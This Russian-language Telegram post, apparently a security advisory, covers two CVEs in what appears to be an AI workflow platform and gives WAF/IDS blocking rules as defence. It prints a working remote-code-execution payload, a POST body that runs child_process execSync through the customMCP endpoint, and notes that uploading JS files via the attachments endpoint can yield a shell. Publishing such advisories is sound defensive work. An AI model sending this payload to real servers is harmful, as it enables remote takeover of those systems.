Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.

CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}

вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.

CVE-2025-61687

POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.

👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.

CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.

CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥208👍4👌1👾1